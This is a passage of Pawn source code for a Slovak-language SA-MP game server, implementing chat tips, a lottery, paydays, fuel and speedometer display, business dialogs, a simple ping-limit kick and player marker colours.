            format(msg6,128,"[ *Tip* ] Stav si peniaze do lotta a vyhraj úžasný Jackpot %d$ !",Server[LottoCash]);
            SendClientMessageToAll(COLOR_WHITE,msg6);
            return 0;
        }
        case 7:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Chceš si pozrieť svoje staty, zmeniť heslo... použí /account");
            return 0;
        }
        case 8:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Ulož si peniaze do banky a po smrti ti zostanu !");
            return 0;
        }
        case 9:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Zbrojný preukaz a Vodičský si kúpiš na Úrade !");
            return 0;
        }
        case 10:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Kúp si nejaké oblečenie v Bincu, ZIPe alebo Victime.");
            return 0;
        }
        case 11:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Pokiaľ uvidíš cheatera nahlas ho Online Adminom príkazem /report");
            return 0;
        }
        case 12:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Kup si nehnuteľnosť ktorá ti bude zarabať peniaze.");
            return 0;
        }
        case 13:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Choď do púšte, okradni niekterý z 16 ropných vrtov a zarob si peniaze.");
            return 0;
        }
        case 14:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Kúp si VIP a získaj na serveri mnoho výhod. Info o VIP: /vinfo");
            return 0;
        }
        case 15:
        {
            new msg16[128];
            format(msg16,128,"[ *Tip* ] Kup si alebo navštív jednu z %d firiem v LS, SF alebo na Dedine !", MAX_FIRMS);
            SendClientMessageToAll(COLOR_WHITE,msg16);
            return 0;
        }
        case 16:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Kup si vlastné vozidlá, a ovládaj ich prříkazom /vehicles");
            return 0;
        }
        case 17:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Novinky o módu: /updates");
            return 0;
        }
    }
    return 1;
}

stock RandomNumber(min, max)
{
    new number;
    number = min + random(max - min);
    return number;
}

stock RandomLargeCharacter()
{
    new character[4];

    switch(random(26))
    {
        case 0:  character="A";
        case 1:  character="B";
        case 2:  character="C";
        case 3:  character="D";
        case 4:  character="E";
        case 5:  character="F";
        case 6:  character="G";
        case 7:  character="H";
        case 8:  character="I";
        case 9:  character="J";
        case 10: character="K";
        case 11: character="L";
        case 12: character="M";
        case 13: character="N";
        case 14: character="O";
        case 15: character="P";
        case 16: character="Q";
        case 17: character="R";
        case 18: character="S";
        case 19: character="T";
        case 20: character="U";
        case 21: character="V";
        case 22: character="W";
        case 23: character="X";
        case 24: character="Y";
        case 25: character="Z";
    }
    return character;
}

forward Lotto();
public Lotto()
{
    if(Server[LottoCash]>3000000) Server[LottoCash]=500000;
    Server[LottoCash]+=100000+random(50000);
    new Lotto_Number[4];

    Lotto_Number[0] = 10 + random(90);
    Lotto_Number[1] = 10 + random(90);
    Lotto_Number[2] = 10 + random(90);
    Lotto_Number[3] = 10 + random(90);

    new LottoMessage[128];
    format(LottoMessage,128,"[ LOTTO ] Aktuálni JackPot: %d$. Výherne čísla su: %d, %d, %d, %d. Chceš si aj ty vsadiť? Použi /lotto [10-100] !",Server[LottoCash],Lotto_Number[0],Lotto_Number[1],Lotto_Number[2],Lotto_Number[3]);
    SendClientMessageToAll(0x67C03DFF,LottoMessage);

    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i))
            {
                if(Player[i][LottoNumber]==Lotto_Number[0] || Player[i][LottoNumber]==Lotto_Number[1] || Player[i][LottoNumber]==Lotto_Number[2] || Player[i][LottoNumber]==Lotto_Number[3])
                {
                    new WinMessage[128], Name[24];
                    GetPlayerName(i,Name,24);
                    format(WinMessage,128,"Hráč %s (%d) vyhral JackPot v Lotte a vyhráva %d$ !",Name,i,Server[LottoCash]);
                    SendClientMessageToAll(COLOR_ORANGE,WinMessage);
                    GivePlayerACMoney(i,Server[LottoCash]);
                    Server[LottoCash]=500000+random(100000);
                }
                else if(Player[i][LottoNumber]!=9999)
                {
                    SendClientMessage(i,COLOR_WARNING,"[ LOTTO ] Lutujeme, skus to nabuduce.");
                    Player[i][LottoNumber]=9999;
                }
            }
        }
    }
    return 1;
}

stock Refresh(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Mute] == true)
        {
            if(Player[playerid][ToMuteTime] <= gettime())
            {
                Player[playerid][Mute] = false;
                Player[playerid][ToMuteTime] = 0;
                SendClientMessage(playerid, COLOR_GREEN, "Už môžeš znova písať !");
            }
        }
    
        new Float:PosX,
            Float:PosY,
            Float:PosZ
        ;
        GetPlayerPos(playerid, PosX, PosY, PosZ);

        if(Player[playerid][GPS]==false) TextDrawHideForPlayer(playerid,GPSLocation[playerid]);
        else if(Player[playerid][FNC_01]==0)
        {
            new Location[32];
            new GameZone[MAX_ZONE_NAME];
            GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
            format(Location,32,"~w~%s",GameZone);
            TextDrawSetString(GPSLocation[playerid], Location);
            TextDrawHideForPlayer(playerid, GPSLocation[playerid]);
        }

        if(Player[playerid][IsTDsHideForPlayer] == false)
        {
            TextDrawShowForPlayer(playerid, Clock);
            TextDrawShowForPlayer(playerid, RealClock);
            TextDrawShowForPlayer(playerid,GPSLocation[playerid]);
        }

        if(GetPlayerVirtualWorld(playerid) != 1006) SetPlayerTime(playerid, Server[Hours], Server[Minutes]);
        else SetPlayerTime(playerid, 0, 0);

        ////////////////////////////// ANTICHEAT ///////////////////////////////

        if(GetPlayerPing(playerid) >= PING_LIMIT)
        {
            if(Player[playerid][Logged] == true)
            {
                new pName[24];
                GetPlayerName(playerid, pName, 24);

                new message[128];
                format(message,128, "[  ANTICHEAT  ] Hráč %s (%d) bol vyhodený anticheatom z dôvodu: Vysoký Ping (%d/%d) !", pName, playerid, GetPlayerPing(playerid), PING_LIMIT);
                SendClientMessageToAll(COLOR_ADMIN, message);

                Kick(playerid);
            }
        }

        ////////////////////////////////////////////////////////////////////////

        if(Player[playerid][BrigadaID] != 9999)
        {
            if(Player[playerid][BrigadaID] == 0)
            {
                if(Player[playerid][BrigadaTime] != 9999)
                {
                    if(GetPlayerVehicleID(playerid) > 0)
                    {
                        if(GetVehicleModel(GetPlayerVehicleID(playerid)) == 448)
                        {
                            if(Player[playerid][BrigadaTime] > 0)
                            {
                                new string[32];
                                format(string,32,"~w~Zostavajuci cas:~n~~y~%d", Player[playerid][BrigadaTime]);

                                FormatPlayerInfoBox(playerid, "~g~Brigada", string, 0);

                                Player[playerid][BrigadaTime]--;
                            }
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Brigada","~w~Cas vyprsal!~n~~w~Nestihol si dorucit svoju zasielku !",5500);

                                Player[playerid][BrigadaID]  =9999;
                                Player[playerid][BrigadaInfo]=9999;
                                Player[playerid][BrigadaTime]=9999;

                                DisablePlayerRaceCheckpoint(playerid);
                            }
                        }
                    }
                }
            }

            //////////////////////////////////////////////////////////

            else if(Player[playerid][BrigadaID] == 1)
            {
                if(GetPlayerVehicleID(playerid) > 0)
                {
                    if(Player[playerid][BrigadaInfo] != 9999)
                    {
                        if(GetVehicleModel(GetPlayerVehicleID(playerid)) == Player[playerid][BrigadaInfo])
                        {
                            if(IsPlayerInSphere(playerid,-1703.4663085938,15.466167449951,3.5546875,50))
                            {
                                if(Player[playerid][FNC_03] == 0)
                                {
                                    Player[playerid][FNC_03]=1;

                                    new bool:IsVehicleAdminVehicle=false;

                                    for(new v=0; v<Server[A_Vehicles]; v++)
                                    {
                                        if(GetPlayerVehicleID(playerid) == A_Vehicle[v]) IsVehicleAdminVehicle=true;
                                    }

                                    if(IsVehicleAdminVehicle == false)
                                    {
                                        SetPlayerRaceCheckpoint(playerid, 1, -1703.4663085938, 15.466167449951, 3.5546875, 0, 0, 0, 5);

                                        FormatPlayerInfoBox(playerid,"~g~Brigada","~w~Vyborne, ziskal si tu karu! Zavez ju na miesto oznacene ~y~checkpointom~w~.", 5000);
                                    }
                                    else FormatPlayerInfoBox(playerid,"~g~Brigada","~r~Ja nechcem Admin Vozidlo! Chod zohnat normalne!", 2500);
                                }
                            }
                            else if(Player[playerid][FNC_03] == 1)
                            {
                                DisablePlayerRaceCheckpoint(playerid);
                                TextDrawHideForPlayer(playerid, InfoBoxNadpis[playerid]);
                                TextDrawHideForPlayer(playerid, InfoBoxText[playerid]);
                                Player[playerid][FNC_03]=0;
                            }
                        }
                    }
                }
            }
        }

        //-------------------------------------------------------------------------------------------------------

        SpeedMeter(playerid);

        //-------------------------------------------------------------------------------------------------------

        //SpecialNitro(playerid);

        //-------------------------------------------------------------------------------------------------------

        if(Player[playerid][VIP] > 0)
        {
            if(VIP_Block[playerid][vf] > 0) VIP_Block[playerid][vf]--;
            if(VIP_Block[playerid][vhp] > 0) VIP_Block[playerid][vhp]--;
            if(VIP_Block[playerid][vvr] > 0) VIP_Block[playerid][vvr]--;
            if(VIP_Block[playerid][vcar] > 0) VIP_Block[playerid][vcar]--;
            if(VIP_Block[playerid][vammo] > 0) VIP_Block[playerid][vammo]--;
            if(VIP_Block[playerid][vsawn] > 0) VIP_Block[playerid][vsawn]--;
        }

        //-------------------------------------------------------------------------------------------------------

        if(Player[playerid][IPIP] == false)
        {
            for(new f=0; f<MAX_FIRMS; f++)
            {
                if(IsPlayerInSphere(playerid, Firm[f][fpX], Firm[f][fpY], Firm[f][fpZ], 3))
                {
                    Player[playerid][IPIP] = true;

                    new fway[40];
                    format(fway,40, "SL/Server/Firms/Firm%d.cfg", f);

                    Player[playerid][FirmID] = f;

                    if(Firm[f][State] == 1) //ak je firma uz kupena
                    {
                        new fstring[256];
                        if(Firm[f][Type] >= 5 && Firm[f][Type] <= 7) format(fstring,256, "~y~%s~n~~n~~y~Majitel:~n~~w~%s~n~~y~Trzba:~n~~w~%d$~n~~y~Cena firmy:~n~~w~%d$~n~~y~Cena jedla:~n~~w~%d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), dini_Int(fway, "Trzba"), Firm[f][Price], dini_Int(fway, "Item0_price"));
                        else                                         format(fstring,256, "~y~%s~n~~n~~y~Majitel:~n~~w~%s~n~~y~Trzba:~n~~w~%d$~n~~y~Cena firmy:~n~~w~%d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), dini_Int(fway, "Trzba"), Firm[f][Price]);
                        FormatPlayerInfoBox(playerid,"~g~Firma",fstring,7500);

                             if(Firm[f][Type] <= 4 || Firm[f][Type] == 8) ShowPlayerDialog(playerid, Dialog_FirmTypeSell, DIALOG_STYLE_LIST, dini_Get(fway, "Name"), "Služby\nDetaily\nAdministracia Firmy", "OK", "Cancel");
                        else if(Firm[f][Type] >= 5 && Firm[f][Type] <= 7) ShowPlayerDialog(playerid, Dialog_FirmTypeSell, DIALOG_STYLE_LIST, dini_Get(fway, "Name"), "Vstupiť\nDetaily\nAdministracia Firmy", "OK", "Cancel");
                    }
                    else
                    {
                        new fstring[256];
                        format(fstring,256, "~y~Volna firma~n~~n~~y~Cena:~n~~w~%d$~n~~y~Trzba:~n~~w~%d$~n~~y~Typ:~n~~w~%s", Firm[f][Price], Firm[f][Trzba], GetFirmTypeString(f));
                        FormatPlayerInfoBox(playerid,"~g~Firma",fstring,5000);

                        ShowPlayerDialog(playerid, Dialog_FirmTypeFree, DIALOG_STYLE_LIST, "Volna firma", "Kupit firmu", "OK", "Cancel");
                    }
                }
            }
        }

        //-------------------------------------------------------------------------------------------------------

        if(GetPlayerMoney(playerid) != GetPlayerACMoney(playerid)) SetPlayerACMoney(playerid, GetPlayerACMoney(playerid));
        
        //-------------------------------------------------------------------------------------------------------

        if(Player[playerid][D_Player]!=9999) if(GetPlayerState(playerid)==PLAYER_STATE_DRIVER) if(PosZ<265.0) if(GetPlayerVehicleID(playerid) > 0) OnPlayerExitDemolationDerby(playerid);

        //-------------------------------------------------------------------------------------------------------

        if(IsPlayerInSphere(playerid,1938.247,-1772.414,13.107,3) || IsPlayerInSphere(playerid,1005.194,-933.600,41.902,3) || IsPlayerInSphere(playerid,-2023.372,156.928,28.835,3) || IsPlayerInSphere(playerid,-1675.307,413.729,7.179,3) || IsPlayerInSphere(playerid,-2407.228,975.950,45.296,3))
        {
            if(!IsPlayerInAnyVehicle(playerid)) GameTextForPlayer(playerid,"~r~Nie si v aute !",2500,5);
            else if(VehicleFuel[GetPlayerVehicleID(playerid)] > (MAX_VEHICLE_FUEL - 50)) return GameTextForPlayer(playerid,"~r~Mas plnou nadrz !",2500,5);
            else if(Player[playerid][IPIP]==false)
            {
                new string[256];
                format(string,256,"{ffffff}Tu môžeš natankovať.\n{ffffff}Kurz: {ffff00}1$ / 1{ffffff} Fuel Point\n{ffffff}Palivo: %d/%d\n{ffffff}Zadaj počet Fuel Points koľko chceš natankovať:", VehicleFuel[GetPlayerVehicleID(playerid)],MAX_VEHICLE_FUEL);
                ShowPlayerDialog(playerid,Dialog_FuelPump,DIALOG_STYLE_INPUT,"Fuel Pump",string,"OK","Cancel");
                Player[playerid][IPIP]=true;
            }
        }

        if(IsPlayerInSphere(playerid,1636.961,-1883.375,25.241,3))
        {
            if(!IsPlayerInAnyVehicle(playerid)) GameTextForPlayer(playerid,"~r~Nie si v aute !",2500,5);
            else if(Player[playerid][IPIP]==false)
            {
                Player[playerid][IPIP]=true;

                     if(Drag[State]==0) ShowPlayerDialog(playerid,Dialog_Drag1,DIALOG_STYLE_LIST,"Drag","Založiť drag\nHigh Score","OK","Cancel");
                else if(Drag[State]==1) ShowPlayerDialog(playerid,Dialog_Drag2,DIALOG_STYLE_LIST,"Drag","Pripojiť sa\nHigh Score","OK","Cancel");
            }
        }

        if(IsPlayerInSphere(playerid,2446.626,-1977.238,13.546,4))
        {
            if(GetPlayerVehicleID(playerid) == 0) GameTextForPlayer(playerid,"~r~Nie si v aute !",2500,5);
            else if(Player[playerid][IPIP] == false)
            {
                Player[playerid][IPIP] = true;
                ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
            }
        }

        if(GetPlayerVirtualWorld(playerid) >= 10000 && GetPlayerVirtualWorld(playerid) <= (10000 + MAX_FIRMS))
        {
            new fway[40];
            format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmID]);

            new sstr[128];
            format(sstr,128, "~w~Stlac ~g~~h~ENTER~w~ pre najedenie~n~~w~Cena: ~g~%d$", dini_Int(fway, "Item0_price"));

            if(IsPlayerInSphere(playerid,377.671,-68.038,1001.515,2))  FormatPlayerInfoBox(playerid,"~g~Burger Shot",sstr,980);
            if(IsPlayerInSphere(playerid,369.608,-6.528,1001.858,2))   FormatPlayerInfoBox(playerid,"~g~Cluckin Bell",sstr,980);
            if(IsPlayerInSphere(playerid,375.770,-119.677,1001.499,2)) FormatPlayerInfoBox(playerid,"~g~Pizza",sstr,980);
        }
        else
        {
            if(IsPlayerInSphere(playerid,377.671,-68.038,1001.515,2))  FormatPlayerInfoBox(playerid,"~g~Burger Shot","~w~Stlac ~g~~h~ENTER~w~ pre najedenie~n~~w~Cena: ~g~10$",980);
            if(IsPlayerInSphere(playerid,369.608,-6.528,1001.858,2))   FormatPlayerInfoBox(playerid,"~g~Cluckin Bell","~w~Stlac ~g~~h~ENTER~w~ pre najedenie~n~~w~Cena: ~g~10$",980);
            if(IsPlayerInSphere(playerid,375.770,-119.677,1001.499,2)) FormatPlayerInfoBox(playerid,"~g~Pizza","~w~Stlac ~g~~h~ENTER~w~ pre najedenie~n~~w~Cena: ~g~10$",980);
        }
    }
    return 1;
}

forward CanEatInvBTrue(playerid);
public CanEatInvBTrue(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][CanEatInvB]=true;
    }
    return 1;
}

forward SpecialNitro(playerid);
public SpecialNitro(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        new vehicleid = GetPlayerVehicleID(playerid);

        if(vehicleid > 0)
        {
            if(Player[playerid][HouseP] != 9999)
            {
                for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                {
                    if(vehicleid == Car[s][Player[playerid][HouseP]])
                    {
                        new hway8f41[32];
                        new V_nitro[16];

                        format(hway8f41,32, "SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);
                        format(V_nitro,16, "V%d_nitro", s);

                        if(dini_Int(hway8f41, V_nitro) == 1010)
                        {
                            new keys, ud, lr;
                            GetPlayerKeys(playerid, keys, ud, lr);
                            if(keys != KEY_FIRE) AddVehicleComponent(vehicleid, 1010);
                            
                            break;
                        }
                    }
                }
            }

            if(Player[playerid][ClanP] != 9999)
            {
                for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                {
                    if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                    {
                        new cway2f11[64];
                        new V_nitro[16];

                        format(cway2f11,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);
                        format(V_nitro,16, "V%d_nitro", s);

                        if(dini_Int(cway2f11, V_nitro) == 1010)
                        {
                            new keys, ud, lr;
                            GetPlayerKeys(playerid, keys, ud, lr);
                            if(keys != KEY_FIRE) AddVehicleComponent(vehicleid, 1010);
                            
                            break;
                        }
                    }
                }
            }
        }
    }
    return 1;
}

forward IsPlayerInPickupFalse(playerid);
public IsPlayerInPickupFalse(playerid)
{
    if(IsPlayerConnected(playerid)) Player[playerid][IPIP]=false;
    return 1;
}

forward Vyplaty();
public Vyplaty()
{
    for(new i; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i))
            {
                if(Player[i][Logged]==true)
                {
                    new string[128];

                    if(Player[i][Team]==0)
                    {
                        Player[i][Vyplata]=2500+random(1500);

                        format(string,128,"Dostal si socialnu davku pre nezamestnaných: %d$ !",Player[i][Vyplata]);
                        SendClientMessage(i, GetPlayerColor(i), string);

                        GivePlayerACMoney(i,Player[i][Vyplata]);
                        Player[i][Vyplata]=0;
                    }
                    else if((Player[i][Team]==99) && (Player[i][ClanP]!=9999))
                    {
                        new cway1f8[64];
                        format(cway1f8, 64, "SL/Server/Clans/Clan%d.cfg", Player[i][ClanP]);

                        new P_Plat[16];
                        format(P_Plat,16, "P%d_Plat", Player[i][ClanRank]);

                        if(dini_Int(cway1f8, P_Plat) == 0) FormatPlayerInfoBox(i, "~g~Clan", "~w~Nemáš nastavenu výplatu, požiadaj majiteľa clanu aby ti výplatu nastavil.", 6000);
                        else if(Clan[Player[i][ClanP]][Bank] >= dini_Int(cway1f8, P_Plat))
                        {
                            format(string,128,"~w~Vyplata z clanu:~n~~y~%d$", dini_Int(cway1f8, P_Plat));
                            FormatPlayerInfoBox(i, "~g~Clan", string, 6000);

                            GivePlayerACMoney(i, dini_Int(cway1f8, P_Plat));

                            Clan[Player[i][ClanP]][Bank] -= dini_Int(cway1f8, P_Plat);
                            dini_IntSet(cway1f8, "Bank", Clan[Player[i][ClanP]][Bank]);

                            Delete3DTextLabel(Clan[Player[i][ClanP]][cText3D]);

                            new c3Dstring2[100];
                            format(c3Dstring2, 100, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway1f8, "Name"), dini_Get(cway1f8, "Majitel"), Clan[Player[i][ClanP]][Bank]);

                            Clan[Player[i][ClanP]][cText3D] = Create3DTextLabel(c3Dstring2, COLOR_PURPLE, Clan[Player[i][ClanP]][cpeX], Clan[Player[i][ClanP]][cpeY], Clan[Player[i][ClanP]][cpeZ], 50, 0);

                        }
                        else FormatPlayerInfoBox(i, "~g~Clan", "~w~V banke clanu nie je dostatok peňazi aby ti mohla byť vyplatena vyplata.", 6000);
                    }
                    else
                    {
                        Player[i][Vyplata]=9500+random(1000)+Player[i][Premie];

                        format(string,128,"Dostal si výplatu: %d$ !",Player[i][Vyplata]);
                        SendClientMessage(i, GetPlayerColor(i), string);

                        GivePlayerACMoney(i,Player[i][Vyplata]);
                        Player[i][Vyplata]=0;
                        Player[i][Premie]=0;
                    }
                }
            }
        }
    }
    return 1;
}

SpeedMeter(playerid)
{
    TextDrawHideForPlayer(playerid, SpeedMeter_Box);
    TextDrawHideForPlayer(playerid, SpeedMeter_Functions[playerid]);
    TextDrawHideForPlayer(playerid, SpeedMeter_Fuel[playerid]);

    if(GetPlayerVehicleID(playerid) > 0)
    {
        new Float:PlayerSpeedDistance = GetPlayerDistanceToPointEx(playerid, ReadPlayerPosition[playerid][ReadX], ReadPlayerPosition[playerid][ReadY], ReadPlayerPosition[playerid][ReadZ]);
        new KPH = floatround((floatround(PlayerSpeedDistance * 5000)) / 1000);

        Player[playerid][Speed] = KPH;

        if(Player[playerid][IsTDsHideForPlayer] == false)
        {
            new vehicleid = GetPlayerVehicleID(playerid);

            //===== FUNCTIONS =====//

            new vehicle_functions[100];
            format(vehicle_functions,100, "~g~Meno: ~w~%s~n~~g~Rychlost: ~w~%d ~g~KMH~n~~g~Palivo:", VehicleName[GetVehicleModel(vehicleid) - 400], KPH);
            TextDrawSetString(SpeedMeter_Functions[playerid], vehicle_functions);

            //===== FUEL ======//

                 if(VehicleFuel[vehicleid] > 0 && KPH >= 300) SetVehicleFuel(vehicleid, -20);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 250) SetVehicleFuel(vehicleid, -18);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 200) SetVehicleFuel(vehicleid, -16);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 150) SetVehicleFuel(vehicleid, -14);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 100) SetVehicleFuel(vehicleid, -12);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 50)  SetVehicleFuel(vehicleid, -9);
            else if(VehicleFuel[vehicleid] > 0 && KPH >= 1)   SetVehicleFuel(vehicleid, -7);

            if(VehicleFuel[vehicleid] < 0) VehicleFuel[vehicleid]=0;

            new engine, lights, alarm, doors, bonnet, boot, objective;
            GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
            if(VehicleFuel[vehicleid] <= 0) SetVehicleParamsEx(vehicleid,false,lights,alarm,doors,bonnet,boot,objective);
            else SetVehicleParamsEx(vehicleid,true,lights,alarm,doors,bonnet,boot,objective);
                
            new Float:td_x = (517.000000 + floatround(VehicleFuel[vehicleid] / 100));

            TextDrawDestroy(SpeedMeter_Fuel[playerid]);
            SpeedMeter_Fuel[playerid] = TextDrawCreate(td_x, 409.000000, "  ");
            TextDrawBackgroundColor(SpeedMeter_Fuel[playerid], 255);
            TextDrawFont(SpeedMeter_Fuel[playerid], 1);
            TextDrawLetterSize(SpeedMeter_Fuel[playerid], 0.539999, 0.199999);
            TextDrawColor(SpeedMeter_Fuel[playerid], -1);
            TextDrawSetOutline(SpeedMeter_Fuel[playerid], 0);
            TextDrawSetProportional(SpeedMeter_Fuel[playerid], 1);
            TextDrawSetShadow(SpeedMeter_Fuel[playerid], 1);
            TextDrawUseBox(SpeedMeter_Fuel[playerid], 1);
            TextDrawBoxColor(SpeedMeter_Fuel[playerid], 255);
            TextDrawTextSize(SpeedMeter_Fuel[playerid], 514.000000, 0.000000);

            //=================//

            TextDrawShowForPlayer(playerid, SpeedMeter_Box);
            TextDrawShowForPlayer(playerid, SpeedMeter_Functions[playerid]);
            TextDrawShowForPlayer(playerid, SpeedMeter_Fuel[playerid]);
        }

        GetPlayerPos(playerid, ReadPlayerPosition[playerid][ReadX], ReadPlayerPosition[playerid][ReadY], ReadPlayerPosition[playerid][ReadZ]);
    }
    return 1;
}

forward HidePlayerMarker(playerid);
public HidePlayerMarker(playerid)
{
    if(IsPlayerConnected(playerid))
    {
             if(GetPlayerColor(playerid) == COLOR_ORANGE) SetPlayerColor(playerid,COLOR_ORANGE_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_RED) SetPlayerColor(playerid, COLOR_RED_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_RED_LIGHT) SetPlayerColor(playerid, COLOR_RED_LIGHT_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_RED_DARK) SetPlayerColor(playerid, COLOR_RED_DARK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_YELLOW) SetPlayerColor(playerid, COLOR_YELLOW_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BLUE_DARK) SetPlayerColor(playerid, COLOR_BLUE_DARK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BLUE) SetPlayerColor(playerid, COLOR_BLUE_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BLUE_LIGHT) SetPlayerColor(playerid, COLOR_BLUE_LIGHT_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_CYAN) SetPlayerColor(playerid, COLOR_CYAN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_WHITE) SetPlayerColor(playerid, COLOR_WHITE_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BLACK) SetPlayerColor(playerid, COLOR_BLACK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_GRAY) SetPlayerColor(playerid, COLOR_GRAY_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_PINK) SetPlayerColor(playerid, COLOR_PINK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_GOLD) SetPlayerColor(playerid, COLOR_GOLD_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_ADMIN) SetPlayerColor(playerid, COLOR_ADMIN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_GREEN_LIGHT) SetPlayerColor(playerid, COLOR_GREEN_LIGHT_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_GREEN) SetPlayerColor(playerid, COLOR_GREEN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_GREEN_DARK) SetPlayerColor(playerid, COLOR_GREEN_DARK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_YELLOWGREEN) SetPlayerColor(playerid, COLOR_YELLOWGREEN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_PURPLE) SetPlayerColor(playerid, COLOR_PURPLE_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BROWN) SetPlayerColor(playerid, COLOR_BROWN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_PINK_DARK) SetPlayerColor(playerid, COLOR_PINK_DARK_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_KHAKI) SetPlayerColor(playerid, COLOR_KHAKI_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_REDORANGE) SetPlayerColor(playerid, COLOR_REDORANGE_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_BLACKGREEN) SetPlayerColor(playerid, COLOR_BLACKGREEN_UNVISIBLE);
        else if(GetPlayerColor(playerid) == COLOR_YELLOW_LIGHT) SetPlayerColor(playerid, COLOR_YELLOW_LIGHT_UNVISIBLE);
    }
    return 1;
}

forward ShowPlayerMarker(playerid);
public ShowPlayerMarker(playerid)
{
    if(IsPlayerConnected(playerid))
    {
             if(GetPlayerColor(playerid) == COLOR_ORANGE_UNVISIBLE) SetPlayerColor(playerid,COLOR_ORANGE);
        else if(GetPlayerColor(playerid) == COLOR_RED_UNVISIBLE) SetPlayerColor(playerid, COLOR_RED);
        else if(GetPlayerColor(playerid) == COLOR_RED_LIGHT_UNVISIBLE) SetPlayerColor(playerid, COLOR_RED_LIGHT);
        else if(GetPlayerColor(playerid) == COLOR_RED_DARK_UNVISIBLE) SetPlayerColor(playerid, COLOR_RED_DARK);
        else if(GetPlayerColor(playerid) == COLOR_YELLOW_UNVISIBLE) SetPlayerColor(playerid, COLOR_YELLOW);
        else if(GetPlayerColor(playerid) == COLOR_BLUE_DARK_UNVISIBLE) SetPlayerColor(playerid, COLOR_BLUE_DARK);
        else if(GetPlayerColor(playerid) == COLOR_BLUE_UNVISIBLE) SetPlayerColor(playerid, COLOR_BLUE);
        else if(GetPlayerColor(playerid) == COLOR_BLUE_LIGHT_UNVISIBLE) SetPlayerColor(playerid, COLOR_BLUE_LIGHT);
        else if(GetPlayerColor(playerid) == COLOR_CYAN_UNVISIBLE) SetPlayerColor(playerid, COLOR_CYAN);
        else if(GetPlayerColor(playerid) == COLOR_WHITE_UNVISIBLE) SetPlayerColor(playerid, COLOR_WHITE);
        else if(GetPlayerColor(playerid) == COLOR_BLACK_UNVISIBLE) SetPlayerColor(playerid, COLOR_BLACK);
        else if(GetPlayerColor(playerid) == COLOR_GRAY_UNVISIBLE) SetPlayerColor(playerid, COLOR_GRAY);
        else if(GetPlayerColor(playerid) == COLOR_PINK_UNVISIBLE) SetPlayerColor(playerid, COLOR_PINK);
        else if(GetPlayerColor(playerid) == COLOR_GOLD_UNVISIBLE) SetPlayerColor(playerid, COLOR_GOLD);
        else if(GetPlayerColor(playerid) == COLOR_ADMIN_UNVISIBLE) SetPlayerColor(playerid, COLOR_ADMIN);
        else if(GetPlayerColor(playerid) == COLOR_GREEN_LIGHT_UNVISIBLE) SetPlayerColor(playerid, COLOR_GREEN_LIGHT);
        else if(GetPlayerColor(playerid) == COLOR_GREEN_UNVISIBLE) SetPlayerColor(playerid, COLOR_GREEN);
        else if(GetPlayerColor(playerid) == COLOR_GREEN_DARK_UNVISIBLE) SetPlayerColor(playerid, COLOR_GREEN_DARK);
